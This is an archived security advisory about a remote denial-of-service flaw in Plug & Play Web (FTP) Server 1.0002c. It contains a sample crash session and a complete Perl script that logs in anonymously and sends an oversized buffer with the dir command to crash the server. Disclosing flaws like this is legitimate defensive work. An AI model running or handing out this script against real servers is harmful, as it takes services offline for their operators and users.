<<< Date Index >>>     <<< Thread Index >>>

Denial Of Service in Plug & Play Web (FTP) Server




Denial Of Service in Plug & Play Web (FTP) Server


Introduction:
=============
"The Plug and Play Web Server provides all of the tools you need to host your 
own website. The tools are bundled together in one comprehensive software 
package that it is incredibly easy to use and maintain."
- Vendors Description
   [ http://www.pandpsoftware.com ]


Details:
========
Vulnerable systems: Plug & Play Web Server version 1.0002c

A vulnerability has been identified in Plug & Play Web (FTP) server V1.0002c, 
which allows malicious users to remotely crash the server. By connecting to the 
server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD) followed 
by large amounts of data, the server crashes.

dir [Ax509]

ls [Ax509]

delete [Ax509]

mkdir [Ax509]

DELE [Ax509]

RMD [Ax509]

MKD [Ax509]

Example:
--------------------
ftp> o 127.0.0.1
Connected to 127.0.0.1.
220 Plug and Play Web Server V1.0
User (127.0.0.1:(none)): anonymous
331 Password required for anonymous
Password:
230 User anonymous logged in
ftp> dir 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
200 PORT command successful
Connection closed by remote host.
ftp> o 127.0.0.1
> ftp: connect :Unknown error number
ftp>
--------------------


Vendor status:
==============
The vendor has been informed, and they are fixing this bug.
The updated version, when released, can be downloaded from:

http://www.pandpsoftware.com/download.htm


Exploit:
========
#!/usr/bin/perl
# ppftpdos.pl - Remote denial of service against Plug & Play FTP server

use Net::FTP;

$host = $ARGV[0];

$buffer = 
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';

if("$ARGV[0]" eq "") {
        print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");
        print("b_naamneh@xxxxxxxxxxx - http://www.bsecurity.tk\n";);
        print("====================================================\n");
        die("Usage : ./PPftpdos <host\/ip>\n");
} else {        

        print("Connecting to $host...\n");
        my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";
        print("Connected!\n");

        $username = "anonymous";
        $password = "anonymous";

        $ftp->login($username, $password)
        or die "Could not log in.\n";

        $ftp->dir($buffer);

        $ftp->quit();

        print("Success!\n");
}


Discovered by/Credit:
=====================
Bahaa Naamneh
b_naamneh@xxxxxxxxxxx
http://www.bsecurity.tk